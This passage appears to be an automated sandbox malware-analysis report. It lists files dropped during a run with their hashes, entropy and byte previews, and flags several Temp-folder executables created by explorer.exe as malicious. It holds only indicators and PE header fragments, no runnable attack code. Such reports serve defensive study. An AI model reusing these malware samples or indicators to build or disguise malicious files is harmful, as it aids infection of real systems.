Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.2.7.4.6.2.1.1.2.0.9.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.2.7.4.7.2.1.1.2.0.9.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.9.5.4.5.d.8.a.-.f.e.3.0.-.4.c.6.6.-.8.4.e.9.-.9.4.0.8.e.a.d.9.6.2.e.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.9.6.7.5.0.a.-.6.4.1.3.-.4.2.7.6.-.a.1.f.7.-.5.4.0.1.a.d.f.1.f.b.1.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.C.8.6...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.2.4.-.0.0.0.1.-.0.0.1.c.-.b.8.5.d.-.7.c.3.7.2.c.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.6.5.f.f.7.b.f.0.9.9.c.c.b.6.e.d.c.a.c.a.1.6.e.f.c.5.7.d.b.c.2.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.7.C.8.6...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER38CE.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	56908
Entropy (8bit):	3.0437265795297215
Encrypted:	false
SSDEEP:	1536:gsH8P1O8KWFedClVTrDRvznqSzidyiUDBPzSGBJcA5nvBWr:gsH8P1O8KWFedClVTrDRvzqSzidyiUD+
MD5:	A956B04ECB35237261E0499859DA5FFB
SHA1:	6DB3CE6EA6483E762920E72F2D70BBAA7CCEFD51
SHA-256:	2393757480F3145669EDBFF111027F0C90F11CC7D473C6758B2221095963A1BC
SHA-512:	441E52365E6052DB19D058C3A70443C4A4CE575B7F1D566B373677B29399572D7DF75862BC4F80B9E1BF436CD2C28635C764665ECE982B259313979A9BDD9F4F
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER43BB.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 09:51:03 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36708
Entropy (8bit):	2.1184854648886953
Encrypted:	false
SSDEEP:	96:5s808v/fmOVs4JPDmci7ehEnus9D5a5aJIR8cPAIxSMOVHbkqrxWInWIXQIRTYeH:Z/frlJJOeh0kxR8k3bKbz3YeiEEnR+
MD5:	D1C3EDE01CE2AE8739A6C52A345B885B
SHA1:	A506F0DFB55D3B25A8F250C06472C2FA68466598
SHA-256:	34C60EAAB990FC362145DB7A8A4E774EC3279ACE3DAABC7C42EE8E82D6F9E6A6
SHA-512:	200711C33FE98F82283E1EB2B465ED7DCBE87072B3ED576C8650893F65F48B2949D2A81CB8F45D1551F6AEC5339167638BBF96709850D7A44AE148C44285E445
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ........G.a....................................$...z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T.......$...\|G.a............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A92.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.697757375624238
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNimg69K6YF1LSUayW8gmfLRSRUCpDh89bdVsfm3/m:RrlsNiJ69K6YzSUayW8gmfLRSRqdufmO
MD5:	A90A6A219AD4395E26AE1FEA38AE64E3
SHA1:	8711599A6CDCD782FF1BC35DADBAF7427D6E49F4
SHA-256:	5643B1A21D91F7DE181EF4CA24D191F2A03C35089A5C0F55DD97F70086FF9BC8
SHA-512:	A488A827782F5A04CF925B586E12401EB19BBEE71A734304C1888BA9EFE49AAB6D9834B7903E761C65ACC87CD90C0262ECEBD5F3A538CF769F02D74E0C68F0CD
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4EBA.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.476836925244776
Encrypted:	false
SSDEEP:	48:cvIwSD8zslJgtWI9B1WSC8BK8fm8M4Jd8qFFlm+q8vc8mrcgNgd:uITf/mESNZJTIK8cgNgd
MD5:	EA9D4A9E3AC70EB3F4B9CA7E41B8581E
SHA1:	80CB8B024FD360176EDE45E66FED9717D0982D5A
SHA-256:	871BA062E1BC6226368F9796A245F3E5F3460CF90AAD734108AA6A3791BF810F
SHA-512:	E9967FF39E0008616491C6E34DDD4C21791FE5E47359D5F09941F7AA44B703261A24C300620E1CFE9515395C062CF86A3B215A49F2C24F59709D82EA54FAA3D2
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341781" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52B0.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6992615325616334
Encrypted:	false
SSDEEP:	96:9GiZYW14rjoFYwYpWyPHJYEZrEt8i+Ohluwnp1bahq5pwCHIDg3:9jZDF3i/Gxahq5pwCoDg3
MD5:	9FBB99369675C1C5625AC6FF5319DE12
SHA1:	04CD2448E03E97C619DBB9FBBB6162E242C49D98
SHA-256:	F3738850FAEC16B7A0A841462CFA40AD57F61AF92095913EBCB9EDF06E744015
SHA-512:	2AC2BFAEBF7EA95EAF8DF361D2FD1D650A2E26EBAE24E7C2A1353504792FBA5FDE513EAA51F9DB364EC683BFA0596F0DF2D9D60DD6CC2170EE294DC3AEBCCA25
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72AD.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52522
Entropy (8bit):	3.054540782587767
Encrypted:	false
SSDEEP:	1536:NmHfq34BsWtedClA2DxEK/V9FV++cym2EcYO3YI5/b1tuFUdmN:NmHfq34BsWtedClA2DxEK/V9FV+bym2I
MD5:	4391CC1F0510EFA5F286B1C53B2F7437
SHA1:	15FDB4E9C6BD2B1667270904D1218CFAEB1821BD
SHA-256:	04ABE831B631D8064B3238BEEE1A14BF74B1F2F01E1A88BC7B373AD23C47DA0F
SHA-512:	82B1359E5CA83B736C974031263F9B6DC9747E4F169A44767F0343FD9948D0E74C9BFBF1C89BA0E17C37418F5DCEFDC98B0783AEBFE01820417AF286FEC22334
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A7E.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6969283840535048
Encrypted:	false
SSDEEP:	96:9GiZYWhMT2l16b3xYryYcWulSnLH7YEZYv0t0iiO7q/wQkBnUBpaHHRVeVIjrf3:9jZDK6oMyTlt2hsaHHRVeqjL3
MD5:	F6E2313BFE0EFD3465EC3630AB9A02E5
SHA1:	615CC8DFE525C139409B737D0D8D514851233C85
SHA-256:	009C6F2BB76935728856E2797635A0BB0E3F3E7F5908560C0382353D7C38EA41
SHA-512:	3D1CE75DC31FA286C7479A7EFCF8F51EBE8C3C23BF2D47EA778812367EDEA5795B64798CE7EAA5A0B45196415E0AFED93EC75C138400C45E44DCDDBBC9B985A3
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8DFC.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\8DFC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1098648883328519
Encrypted:	false
SSDEEP:	12:26IXm/Ey6q99955ySq3qQ10nMCldimE8eawHjcgad:265l68CXLyMCldzE9BHjcvd
MD5:	8F621F168C28B85234DB86CEA4E99982
SHA1:	B3AB3A010C2173D857F556E6EA6EE2CE682DDB95
SHA-256:	4E70DCE3F7361E91600CABBDF100ED735F671C715A35F50B4D77CF07DADC1568
SHA-512:	9C15DB73D654F0434DD6887AFC522E17F30F8EFE4F6F681055C6B3EE3BE591E4D61209CEAF329AF2F7BE0735D1ED401D861196DE48D8CD092BC4FD7B8626622B
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|.......`..:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....n.y ,...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.\|..........:....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.112513232510139
Encrypted:	false
SSDEEP:	12:WNXm/Ey6q99955jUqL1miM3qQ10nMCldimE8eawHza1miIb:Wwl68TUqL1tMLyMCldzE9BHza1tIb
MD5:	EE6FC4EF6644D09E1B3D6CB52CDF6C22
SHA1:	7B1A28B4BEEF758F5A97B76C6BC0366DD238AE79
SHA-256:	6487F358062C8ACD35931C06E8955E8467B1381AD8D970E82DAE84A3F15730C6
SHA-512:	872EFD38CCDF5D55DCC7BDCD05F9D50211CF8BD06AB95A636C2773EAF8221842F8F3CF40860FD2F3DAF6AB7E39F60393D0218FC6169091FA7AFF8EDF6B332CAC
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|.......,..:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....I.q ,...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.\|..........:....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11253891868205498
Encrypted:	false
SSDEEP:	12:o4Xm/Ey6q99955jUqL1mK2P3qQ10nMCldimE8eawHza1mK45:Wl68TUqL1iPLyMCldzE9BHza1i
MD5:	DB30696F37B121E9189CF10DF2A42A7C
SHA1:	8ECFCD87AECC2FA68F6494E6D89F32EB3B87730C
SHA-256:	592EE6D460BB282C61E445299599AAF9EDB69CAFB3F53AD51122D5EC9F971658
SHA-512:	1FFE69692DC22051165E58DE9172D346C8D94DF8E1E78AE4057A581630B48451622D3A5C3C51501671439A07333AC982D1FF291B19D5AD145D05AC6D5C1633EC
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|..........:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....I.q ,...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.\|.......W..:....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1530.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\259C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\36D4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	357376
Entropy (8bit):	7.848837612305308
Encrypted:	false
SSDEEP:	6144:L5aWbksiNTBCxw++TiSUOTtF08P3A6rZluu2PocRzBcByMFkBrBXwNmQp9Un:L5atNTAduU0tFDdlD2PVRzBeyiuFbAGn
MD5:	98E5E0F15766F21E9DCBEEF7DFB6EBB2
SHA1:	921E1B410528FF10A2C3980E35A8F036FF5E40B3
SHA-256:	5C7BF1968002CFFE455B5651C6D650323EA800AD03FA996A9F96CC01028AB093
SHA-512:	E425628E1A6311EBF57F73213DF8CDA9C8B5E888A6054188485614D1910F9E1CD879D5DE1D284CA9754D6405809FBDCC9FEFB72852ACE8E7357A71099800CC42
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....^...............0....@.........................................................................lq..........L...........................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc...L............\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\754.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3570176
Entropy (8bit):	7.997630766149595
Encrypted:	true
SSDEEP:	98304:Eyu1PF0IdV1/b4gfya9kofb/4rosp08oUPQH:EjtFp/tfyOTQrosGrUP0
MD5:	DDC599DB99362A7D8642FC19ABE03871
SHA1:	11199134356D8DE145D2EE22AAC37CA8AABA8A0B
SHA-256:	5D94F66FD3315E847213E16E19DFEB008B020798CFFF1334D48AC3344B711F22
SHA-512:	E35DBE56828E804AA78FE436E1717C3A09C416DBE2873FFFC9B44393E7EC2336CE9C544E4D6011C58E7E706819AEABC027AF9A85AA2A2509BDFC39699560ABFD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
